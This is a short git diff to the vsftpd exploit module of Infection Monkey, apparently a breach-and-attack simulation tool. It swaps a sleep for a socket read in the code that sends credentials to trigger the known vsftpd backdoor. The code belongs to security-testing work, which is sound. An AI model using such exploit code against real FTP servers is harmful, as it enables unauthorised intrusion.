diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 6f05ba428..bf36adfe0 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -40,7 +40,7 @@ class VSFTPDExploiter(HostExploiter): ftp_socket.send(USERNAME) ftp_socket.recv(128).decode('utf-8') ftp_socket.send(PASSWORD) - time.sleep(1) + ftp_socket.recv(128).decode('utf-8') ftp_socket.close() LOG.info('Triggered backdoor')